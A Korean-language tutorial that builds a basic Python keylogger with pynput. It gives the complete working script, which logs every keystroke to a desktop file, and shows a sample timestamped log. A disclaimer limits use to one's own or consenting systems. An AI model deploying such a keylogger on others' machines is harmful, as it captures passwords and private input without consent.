Computer >> 컴퓨터 >  >> 프로그래밍 >> Python

파이썬으로 키로거 만들기: pynput 라이브러리 활용 가이드


이 글에서는 파이썬(Python)을 이용해 간단한 키로거(keylogger)를 직접 만들어 보겠습니다. 그에 앞서 키로거가 정확히 무엇인지부터 짚고 넘어가겠습니다. 키로거는 키보드의 키 입력(keystroke)을 감시하고 기록하는 프로그램으로, 기록된 내용은 로그 파일에 저장됩니다. 이를 통해 아이디나 비밀번호처럼 민감한 정보까지도 그대로 남길 수 있습니다.

⚠️ 시작 전 유의사항: 이 튜토리얼은 순수하게 학습과 연구를 위한 목적으로 작성되었습니다. 키로거는 반드시 자신이 소유한 컴퓨터 또는 명확한 사전 동의를 받은 환경에서만 사용해야 하며, 동의 없이 타인의 키 입력을 수집하는 행위는 개인정보보호법 등 관련 법률 위반에 해당해 형사 처벌 대상이 될 수 있습니다.

1단계: pynput 모듈 설치하기

키로거를 만들기 위해 pynput 모듈을 사용합니다. pynput은 파이썬 표준 라이브러리가 아니기 때문에, 먼저 설치가 필요합니다. pip를 이용하면 간단하게 설치할 수 있습니다.

pip install pynput

이미 설치되어 있는 경우에는 "Requirement already satisfied"라는 메시지가 출력되며, 새로 설치되는 경우에는 진행 상황이 표시됩니다.

설치가 정상적으로 완료되었는지 확인하려면 파이썬 셸에서 모듈을 임포트해 보세요. 오류 없이 프롬프트가 돌아오면 성공입니다.

>>> import pynput
>>>

2단계: 키로거 만들기 시작

필요한 라이브러리 설치가 끝났다면, 이제 필요한 패키지와 메서드를 임포트합니다. 키보드를 감시하기 위해 pynput.keyboard 모듈의 KeyListener를 사용하고, 키 입력을 파일에 기록하기 위해 logging 모듈도 함께 불러옵니다.

from pynput.keyboard import Key, Listener
import logging

다음으로, 로그 파일을 저장할 경로와 저장 방식, 그리고 로그 형식을 지정합니다. 여기서는 바탕화면 경로에 keyLog.txt 파일로 기록하도록 설정했습니다.

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

그다음에는 키 입력이 발생할 때마다 호출될 on_press() 함수를 정의합니다. 이 함수는 눌린 키를 매개변수로 받아 로그에 기록하는 역할을 합니다.

def on_press(key):
    logging.info(str(key))

마지막으로 Listener 인스턴스를 생성하면서 앞서 정의한 on_press 메서드를 연결하고, 이 리스너를 메인 스레드에 join시켜 프로그램이 계속 실행되면서 키 입력을 감시하도록 만듭니다.

with Listener(on_press=on_press) as listener:
    listener.join()

3단계: 전체 코드 완성

지금까지의 과정을 하나로 합치면 다음과 같은 최종 프로그램이 완성됩니다.

from pynput.keyboard import Key, Listener
import logging

log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

4단계: 실행 결과 확인하기

스크립트를 실행한 상태에서 브라우저를 열고 "hello world, Wikipedia"라고 입력해 보았습니다. 그럼 로그 파일에는 어떤 내용이 기록되었을까요?

바탕화면에 keyLog.txt 파일이 생성된 것을 확인할 수 있으며, 파일을 열어보면 다음과 같은 내용이 담겨 있습니다.

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

결과를 보면 브라우저에 입력한 모든 키 입력이 시간순으로 그대로 기록되어 있는 것을 알 수 있습니다. 흥미로운 점은 일반 문자뿐 아니라 스페이스바(Key.space), 백스페이스(Key.backspace), 윈도우 키(Key.cmd) 같은 특수 키까지도 모두 포착된다는 것입니다. 실제로 로그를 보면 "python"이라 입력한 뒤 백스페이스로 지우고 "wikipedia"를 다시 입력한 과정까지 고스란히 남아 있습니다.

마무리하며

이렇게 해서 파이썬으로 아주 간단한 키로거를 완성했습니다. 이 예제는 pynput의 Listener를 활용해 키보드 이벤트를 감시하는 기본 원리를 보여주며, 여기에 특수 키를 더 읽기 쉽게 변환하거나 로그를 주기적으로 정리하는 기능을 추가하면 확장할 수 있습니다. 다시 한번 강조하지만, 이런 도구는 보안 학습이나 자신의 시스템 모니터링 등 합법적인 용도로만 사용해야 하며, 타인의 동의 없이 사용해서는 절대 안 됩니다.